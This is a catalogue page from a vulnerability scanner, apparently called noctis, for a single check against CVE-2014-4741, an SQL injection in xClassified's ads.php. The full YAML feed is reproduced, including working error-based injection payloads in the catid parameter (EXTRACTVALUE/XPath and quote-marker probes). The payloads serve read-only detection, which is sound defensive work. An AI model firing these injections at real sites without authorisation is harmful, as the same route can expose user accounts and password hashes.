xClassified — 1 vulnerability check

noctis ships 1 vulnerability check for xClassified, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Artifectx xClassified ads.php 'catid' SQL Injection

CVECVE-2014-4741
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/xclassified/CVE-2014-4741.yaml

Tests Artifectx xClassified 1.2 for the unauthenticated SQL injection through the catid parameter of ads.php. In the web root and in the /ads, /classifieds, /artifectx and /xclassified directories, once index.php shows the xClassified pages, the feed requests ads.php with a catid value that makes the database raise an XPath error carrying the product of two random numbers, first for a bare numeric value and then for a quoted one. The correct product in the page confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, provided the same page with a plain numeric catid shows no SQL error. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/ads.php?catid=1%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b}})…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/ads.php?catid=1%27%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b…
  8. Parses / computes the next value with a Rhai script
  9. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Artifectx xClassified ads.php 'catid' SQL Injection (CVE-2014-4741)
  10. HTTP(S) request GET {{dir}}/ads.php?catid=1%27{{m.tag}}
  11. HTTP(S) request GET {{dir}}/ads.php?catid=1
  12. Parses / computes the next value with a Rhai script
  13. Checks syn for ^SQL syntax error quoting Noctis[a-z0-9]+$ → finding QoD 75: Artifectx xClassified ads.php 'catid' SQL Injection (CVE-2014-4741)

References:

Feed source — tests/vulnerabilities/xclassified/CVE-2014-4741.yaml
# Artifectx xClassified ads.php 'catid' SQL injection — CVE-2014-4741
#
# xClassified 1.2 pastes the raw catid GET value of ads.php into its ad listing
# query and prints mysql_error() when the query fails (public PoC:
# ads.php?catid=4'a). The application source is no longer published, so the
# feed covers both possible contexts of the value: bare number and quoted.
#
# Detection (benign, read-only), per candidate install directory
# ("", /ads, /classifieds, /artifectx, /xclassified):
#   1. GET <dir>/index.php must mention both "xClassified" and "artifectx"
#      (the product name and the vendor link of the stock pages).
#   2. GET <dir>/ads.php?catid=1 AND extractvalue(1,concat(0x7e,(SELECT <a>*<b>)))
#      (numeric context) then, if nothing showed,
#      ads.php?catid=1' AND extractvalue(1,concat(0x7e,(SELECT <a>*<b>))) AND '1'='1
#      (quoted context). The database raises "XPATH syntax error: '~<a×b>'",
#      printed by the page. The product of two random 6-digit operands is not in
#      the request, so a page that only echoes the URL cannot produce it.
#      MySQL / MariaDB fold the constant, so it errors even on an empty table.
#      QoD 97.
#   3. Fallback (MySQL < 5.1 has no EXTRACTVALUE): ads.php?catid=1'<marker>
#      must print a MySQL "SQL syntax" error quoting the random marker, while
#      the control ads.php?catid=1 prints no SQL error (fail-closed: the
#      control must answer). QoD 75.
#
# Improvements over the source NASL: a database-computed proof instead of a
# fixed marker echo (QoD 97), a random marker and an error-free control for the
# fallback, both quoting contexts, and one more install directory.
#
# CVSS: CVE-2014-4741 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_artifectx_xclassified_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804684, GPL-2.0-only).
uid: 76f6daf9-ec0b-4151-8eef-18eb6dd984bd
name: "Artifectx xClassified ads.php 'catid' SQL Injection (CVE-2014-4741)"
description: |
  Tests Artifectx xClassified 1.2 for the unauthenticated SQL injection through
  the catid parameter of ads.php. In the web root and in the /ads,
  /classifieds, /artifectx and /xclassified directories, once index.php shows
  the xClassified pages, the feed requests ads.php with a catid value that
  makes the database raise an XPath error carrying the product of two random
  numbers, first for a bare numeric value and then for a quoted one. The
  correct product in the page confirms that the database ran the injected
  query; the product is not part of the request, so a page that only echoes
  the URL is not reported. On databases without the EXTRACTVALUE function, the
  feed instead reports a MySQL syntax error that quotes a random marker sent
  after a single quote, provided the same page with a plain numeric catid shows
  no SQL error. The probes read no table row and change nothing.
cves: [CVE-2014-4741]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [xclassified, artifectx, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4741"
  - "https://www.exploit-db.com/exploits/39239"
  - "https://www.securityfocus.com/bid/68438/info"
  # OpenVAS/Greenbone NASL 2014/gb_artifectx_xclassified_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/ads", "/classifieds", "/artifectx", "/xclassified"]
      var: dir

  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}

  - id: init-quo-r
    action: set_var
    var_name: quo_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: home

  - id: gate
    action: script
    code: |
      if proof == "" && type_of(home.body) == "string" {
        let lb = tolower(home.body);
        stridx(lb, "xclassified") >= 0 && stridx(lb, "artifectx") >= 0
      } else { false }
    store_as: is_xc

  # Numeric context: catid=1 AND extractvalue(1,concat(0x7e,(SELECT <a>*<b>)))
  - id: inject-numeric
    action: http_request
    method: GET
    path: "{{dir}}/ads.php?catid=1%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b}})))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_xc == true'
    store_as: num_r

  # The error text may be HTML-escaped by a front end; accept the quote in any
  # common form, or none.
  - id: verdict-numeric
    action: script
    code: |
      if is_xc == true && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  # Quoted context: catid=1' AND extractvalue(...) AND '1'='1
  - id: inject-quoted
    action: http_request
    method: GET
    path: "{{dir}}/ads.php?catid=1%27%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b}})))%20AND%20%271%27=%271"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_xc == true && proof == ""'
    store_as: quo_r

  - id: verdict-quoted
    action: script
    code: |
      if proof == "" && is_xc == true && type_of(quo_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", quo_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Artifectx xClassified ads.php 'catid' SQL Injection (CVE-2014-4741)"
        description: "An unauthenticated GET to ads.php with SQL appended to the catid parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the database user may run can be injected the same way, including reading the user accounts and their password hashes."
        remediation: "xClassified is no longer maintained. Remove the application or restrict access to it, or patch ads.php to cast catid to an integer before it reaches the query and stop printing database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/ads.php with an injected catid computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallback for MySQL < 5.1: syntax error quoting a random marker, with a
  # control request that shows no SQL error.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/ads.php?catid=1%27{{m.tag}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_xc == true && proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/ads.php?catid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_xc == true && proof == "" && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != ""'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && is_xc == true && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" && ctl_r.status == 200 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 { "SQL syntax error quoting " + m.tag } else { "" }
    store_as: syn

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[a-z0-9]+$"
    on_match:
      finding:
        title: "Artifectx xClassified ads.php 'catid' SQL Injection (CVE-2014-4741)"
        description: "An unauthenticated GET to ads.php with a single quote and a random marker in the catid parameter returned a MySQL syntax error quoting the marker, while the same page with a numeric catid showed no SQL error: the parameter is pasted into the query unescaped. Any query the database user may run can be injected the same way."
        remediation: "xClassified is no longer maintained. Remove the application or restrict access to it, or patch ads.php to cast catid to an integer before it reaches the query and stop printing database errors to visitors."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/ads.php?catid=1'{{m.tag}} returned a MySQL syntax error quoting {{m.tag}}; GET {{dir}}/ads.php?catid=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

View these feeds on GitHub